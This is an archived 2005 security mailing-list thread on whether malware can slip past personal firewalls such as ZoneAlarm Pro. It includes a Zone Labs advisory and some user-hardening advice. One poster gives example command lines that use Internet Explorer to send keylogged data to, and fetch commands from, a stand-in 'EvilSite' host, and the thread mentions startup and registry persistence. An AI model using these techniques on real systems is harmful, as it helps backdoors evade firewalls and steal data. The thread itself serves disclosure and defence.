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Re: Bypassing Personal Firewall, is it that* hard?
From: Oliver Leitner <Shadow333 () gmx at>
Date: Mon, 03 Oct 2005 21:42:35 +0200

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I think the main problem of every kind of security precaution is, that
the user has to understand what he is being told.

i had customers who just let everything in and out because they thought
that their setup would need it.


a few major tricks in really securing a sys:
never let the user have write access to c:\putyourwindowssystemdirhere

never run anything as admin user (at least since xp there is even
something like sudo under windows available, called runas, very useful
command).

further on the xp level: try to get used to the netsh command.

keep your system updated

and doesnt matter what you download, as long as you keep your users
security aware (password length and strongeness, email clicking, banner
clicking, popups, etc...)

or use an alternate os (yes, they are out there...)

you can make it easier for your user or harder for your user, depending
on your standpoint, but nothing is as good as a user that actually does
know what he/she is doing.

just my few cents.

Greetings
Oliver Leitner
Technical Staff
http://www.shells.at

Debasis Mohanty wrote:
Just to correct my last statement in my previous reply - 

There is another way by which an evil-code can get this run is by moving

the batch file to system startup 

or pointing it in the registry to run on system boot but this will be a

warning signal for the user.  

Even ZA Pro blocks and warns the user if some program (evil or trusted) is
trying to become a system startup program. Sorry for that mistake had tooo
much with Paul & Zone Labs ;-)

-D

-----Original Message-----
From: full-disclosure-bounces () lists grok org uk
[mailto:full-disclosure-bounces () lists grok org uk] On Behalf Of Debasis
Mohanty
Sent: Tuesday, October 04, 2005 12:25 AM
To: 'Bipin Gautam'; 'Zone Labs Security Team'
Cc: full-disclosure () lists grok org uk; bugtraq () securityfocus com
Subject: RE: [Full-disclosure] Bypassing Personal Firewall, is it that*
hard?

Bipin Gautam wrote:

Anyways... is Bypassing Personal Firewall & let an internal (evil)

application communicate 

with the external world,  the hard.  


Yes Indeed !! As long as you are trying out this concept with the current
versions of ZA Pro and few prior versions... The beauty of ZA Pro is, it
even traps inter-process communications and windows messaging between two
different processes and prompts for user's permission. This goes ahead of
normal desktop based fw with more defense methods than just protecting a PC
from network based attacks. 



Suppose; it creates a batch file run the batch file  (evil.bat) &

executes this command

....Internet Explorer\> iexplore.exe

www.EvilSite.com/?cmd=submit&f=___KeyLog__

To execute the batch file, the evil-program needs to trigger the execution
of the batch file and this is easily prevented by ZA Pro.. Normally the
evil-code will use the api shell() which is prevented. 

However, this will work if the users click on the batch file or run it via
Start->Run but this is not the way a evil-code works. In this scenario 
Start->ZA
Pro clearly distinguishes between user interventions and a program
communicating with another program. 


There is another way by which an evil-code can get this run is by moving the
batch file to system startup or pointing it in the registry to run on system
boot but this will be a warning signal for the user. 

- D



-----Original Message-----
From: full-disclosure-bounces () lists grok org uk
[mailto:full-disclosure-bounces () lists grok org uk] On Behalf Of Bipin Gautam
Sent: Monday, October 03, 2005 11:57 PM
To: Zone Labs Security Team
Cc: full-disclosure () lists grok org uk; bugtraq () securityfocus com
Subject: [Full-disclosure] Bypassing Personal Firewall, is it that* hard?

hello list,
Lately 'Debasis Mohanty' was refreshing some old issues. Anyways... is
Bypassing Personal Firewall & let an internal (evil) application communicate
with the external world,  the hard. I mean... OK try this........ Lets.. me
give you a simple concept. I'll call it 'passive communication' ( in lack of
better world)

say... a backdoor want to communicate to its server... It can do is,.... use
a trusted internal application to do the job. Suppose; it creates a batch
file run the batch file  (evil.bat) & executes this command

....Internet Explorer\> iexplore.exe
www.EvilSite.com/?cmd=submit&f=___KeyLog__

the batch file will get executed & Internet explorer will happily send the
DATA. This trick can be used to send OUTPUT as well as get input... without
trigering the firewall.

To get input; the backdoor can do is... say, run similar BAT script:

....Internet Explorer\> iexplore.exe www.EvilSite.com/?cmd=ANY_NEW_COMMANDS

well... the history of the page
www.EvilSite.com/?cmd=ANY_NEW_COMMANDS will be there in the IE cache... Then
the backdoor can do is... RUN a string based 'GREP' in the IE cache & see if
there is any new job to acomplish.

just a rough theory... but ya its POSSIBLE; to let a internal backdoor have
I/O with its server without trigering the firewall alert....

---------------
yap it does work... using the same trick can't the backdoor happily
communicate with its server using the trick

On 9/30/05, Zone Labs Security Team <security () zonelabs com> wrote:

Zone Labs response to "Bypassing Personal Firewall (Zone Alarm Pro) 
Using DDE-IPC"

Overview:

Debasis Mohanty published a notice about a potential security issue 
with personal firewalls to several security email lists on
September 28th, 2005.   Zone Labs has investigated his claims
and has determined that current versions of Zone Labs and Check Point 
end-point security products are not vulnerable.


Description:

The proof-of-concept code published uses the Windows API function
ShellExecute() to launch a trusted program that is used to access the 
network on behalf of the untrusted program, thereby accessing the 
network without warning from the firewall.


Impact:

If successfully exploited, a malicious program may be able to
access the network via a trusted program.   The ability to
access the network would be limited to the functionality of the 
trusted program.


Unaffected Products:

ZoneAlarm Pro, ZoneAlarm AntiVirus, ZoneAlarm Wireless Security, and 
ZoneAlarm Security Suite version 6.0 or later automatically protect 
against this attack in the default configuration.

ZoneAlarm Pro, ZoneAlarm AntiVirus, ZoneAlarm Wireless Security, and 
ZoneAlarm Security Suite version 5.5 are protected against this attack 
by enabling the "Advanced Program Control" feature.

Check Point Integrity client versions 6.0 and 5.5 are protected 
against this attack by enabling the "Advanced Program Control" feature.


Affected Products:

ZoneAlarm free versions lack the "Advanced Program Control"
feature and are therefore unable to prevent this bypass technique.


Recommended Actions:

Subscribers should upgrade to the latest version of their ZoneAlarm 
product or enable the "Advanced Program Control" feature.


Related Resources:

Zone Labs Security Services http://www.zonelabs.com/security


Contact:

Zone Labs customers who are concerned about this vulnerability or have 
additional technical questions may reach our Technical Support group
at: http://www.zonelabs.com/support/.

To report security issues with Zone Labs products contact 
security () zonelabs com  Note that any other matters sent to this email 
address will not receive a response.


Disclaimer:

The information in the advisory is believed to be accurate at the time 
of publishing based on currently available information. Use of the 
information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information.
Neither the author nor the publisher accepts any liability for any 
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or reliance on, this information. Zone Labs and Zone Labs products, 
are registered trademarks of Zone Labs LLC. and/or affiliated 
companies in the United States and other countries.
All other registered and unregistered trademarks represented in this 
document are the sole property of their respective companies/owners.

Copyright: (c)2005 Zone Labs LLC All rights reserved. Zone Labs, 
TrueVector, ZoneAlarm, and Cooperative Enforcement are registered 
trademarks of Zone Labs LLC The Zone Labs logo, Check Point Integrity 
and IMsecure are trademarks of Zone Labs, LLC. Check Point Integrity 
protected under U.S. Patent No. 5,987,611. Reg. U.S. Pat.
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--

Bipin Gautam

Zeroth law of security: The possibility of poking a system from lower
privilege is zero unless & until there is possibility of direct, indirect or
consequential communication between the two...


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